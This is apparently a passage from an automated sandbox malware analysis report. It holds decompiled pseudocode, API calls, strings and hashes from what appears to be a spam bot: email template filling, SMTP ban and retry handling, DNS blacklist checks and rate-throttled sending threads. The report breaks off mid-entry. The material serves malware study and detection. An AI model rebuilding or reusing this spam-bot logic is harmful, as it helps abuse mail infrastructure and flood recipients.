								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

46A, xrefs: 0040BF85
86A, xrefs: 0040BF98
smtp_herr, xrefs: 0040BE46, 0040BF62
smtp_retr, xrefs: 0040BE61, 0040BF8C
06A, xrefs: 0040BF70
smtp_ban, xrefs: 0040BE55, 0040BF77

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%s@%s, xrefs: 0040B461
%TO_USER, xrefs: 0040B488
%M5DATE, xrefs: 0040B50F
%FROM_USER, xrefs: 0040B431
%FROM_DOMAIN, xrefs: 0040B41E
%P5DATE, xrefs: 0040B4F2
%DATE, xrefs: 0040B4D2
%TO_HASH, xrefs: 0040B4B0
%TO_DOMAIN, xrefs: 0040B44B
%TO_EMAIL, xrefs: 0040B473
%FROM_EMAIL, xrefs: 0040B3E9

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043BEE4, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043BEE8
_strlen.LIBCMT ref: 0043BF18
_write_multi_char.LIBCMTD ref: 0043C6FB
_write_string.LIBCMTD ref: 0043C716
_write_multi_char.LIBCMTD ref: 0043C742
__mbtowc_l.LIBCMTD ref: 0043C7B1

Strings

HD@, xrefs: 0043BF0B

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: HD@
API String ID: 909868375-1661062907
Opcode ID: c7f564d3d73db1c123f2a2a5b93b531aedbb4199a0d0594ed2e815862a843c67
Instruction ID: 156c1ef572daec84bc9e799230e747ceec9360f62726042cc41fbf491f0d13e7
Opcode Fuzzy Hash: c7f564d3d73db1c123f2a2a5b93b531aedbb4199a0d0594ed2e815862a843c67
Instruction Fuzzy Hash: 24A18EB1D00228DBDB24DF54CC81BAEB3B5EB48305F14919AE6097B282D7389E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,73AFF210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,73AFF210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
net_type, xrefs: 004021DF
rbl_ip, xrefs: 0040218F
rbl_bl, xrefs: 00402181

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0043C0BA, Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043C0BE
__get_printf_count_output.LIBCMTD ref: 0043C0CC
__invalid_parameter.LIBCMTD ref: 0043C153
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C168
_write_multi_char.LIBCMTD ref: 0043C6FB
_write_string.LIBCMTD ref: 0043C716
_write_multi_char.LIBCMTD ref: 0043C742
__mbtowc_l.LIBCMTD ref: 0043C7B1

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: dae4d613627b83af3e57fe0432a339bf07e99a8341f6ed87462261a433f25ffb
Instruction ID: 892cc33c444736e17a25e7d7f162aaa77bc9045cc0b0040ab60de7b1d1fa1341
Opcode Fuzzy Hash: dae4d613627b83af3e57fe0432a339bf07e99a8341f6ed87462261a433f25ffb
Instruction Fuzzy Hash: A5A18FB1D002299BDF24DF55CC82BAEB375AB48305F14509AE6097B282D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0040C4E0), ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 004371D3, Relevance: 15.2, APIs: 10, Instructions: 183COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043721B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437251
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437272
wcsncnt.LIBCMTD ref: 004372A9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043730F
_wcslen.LIBCMTD ref: 0043751F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043752D

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: ec9f71ee7f689c9c8c339d90234ab84aa360fc9aa8909463ac69fb3e070cb760
Instruction ID: 4f6c9d72943b933f398ffb26fa1b5fd780a06c19c59a7f505a570dc4af0958ce
Opcode Fuzzy Hash: ec9f71ee7f689c9c8c339d90234ab84aa360fc9aa8909463ac69fb3e070cb760
Instruction Fuzzy Hash: F8815DB1A05218EFCB18DF94D894BEEB771FF48314F20815AF8116B290DB38AE41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00429800, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 004298FE
_wcscpy_s.LIBCMTD ref: 00429940
__invoke_watson_if_error.LIBCMTD ref: 00429949
___crtMessageBoxW.LIBCMTD ref: 00429962
_raise.LIBCMTD ref: 0042997B

Strings

lS@, xrefs: 0042988A, 00429890
`S@, xrefs: 00429843
tS@, xrefs: 0042987C, 00429882

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: `S@$lS@$tS@
API String ID: 908537515-3485714007
Opcode ID: 21e732953ad11bf7d8bbebe2d46ed86e61d65f9d51573b6d474dfa8d3cf1612f
Instruction ID: 5b0b72c6c4a34fc906022f01ef9d4f726b36864baedddff0a1fb679106ed4f44
